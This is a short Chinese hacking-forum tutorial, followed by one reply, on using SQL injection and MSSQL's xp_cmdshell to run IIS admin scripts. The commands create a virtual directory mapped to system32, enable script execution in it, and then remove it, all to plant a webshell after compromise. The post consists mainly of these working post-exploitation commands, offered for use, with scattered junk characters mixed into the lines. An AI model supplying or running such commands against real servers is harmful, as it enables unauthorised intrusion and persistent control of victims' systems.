[原创教程] 如何SQL注入建立虚拟目录 SQL, 目录, 虚拟

平湖秋月

很多情况下我们都会遇到SQL注入可以列目录和运行命令，但是却很不容易找到web所在目录，也就不好得到一个webshell，应该算是无意中发现了一招，感觉不错 整理下发上来给大家分享：
; X7 C5 q6 p* N
6 }% Z+ z* g$ Nexec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\mkwebdir.vbs -c localhost -w "l" -v "win","c:\windows\system32"'
* M: P9 X' U8 D, A# l' b6 ~2 `建立虚拟目录win,指向c:\windows\system32! O; q5 R! ^) D
exec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\adsutil.vbs w3svc/1/root/win/Accessexecute Ture'$ ?# y# ^1 b$ }/ p0 h0 j( |% w3 _
让win句有解析asp脚本权限% A5 E' [7 r+ F& r

( Z+ n5 r+ f  `8 k2 g' `  N7 x  j% ?exec master.dbo.xp_cmdshell "cscript C:\Interpub\AdminScripts\adsutil.vbs delete w3svc/1/root/h4x0r/"
$ g( ~3 B$ _/ R2 f* Y4 n删除虚拟目录。
- q' D, Y; f6 {2 I3 i% j4 ]( D5 E. K; [找不到web绝对路径的一种解决办法，
# `  W, a2 C/ f2 e# }  j" _7 M5 g' H7 ^5 ~8 O/ [* h
403错误，表示虚拟目录建好了。。

wmmy

呀  LZ好久不见你上了啊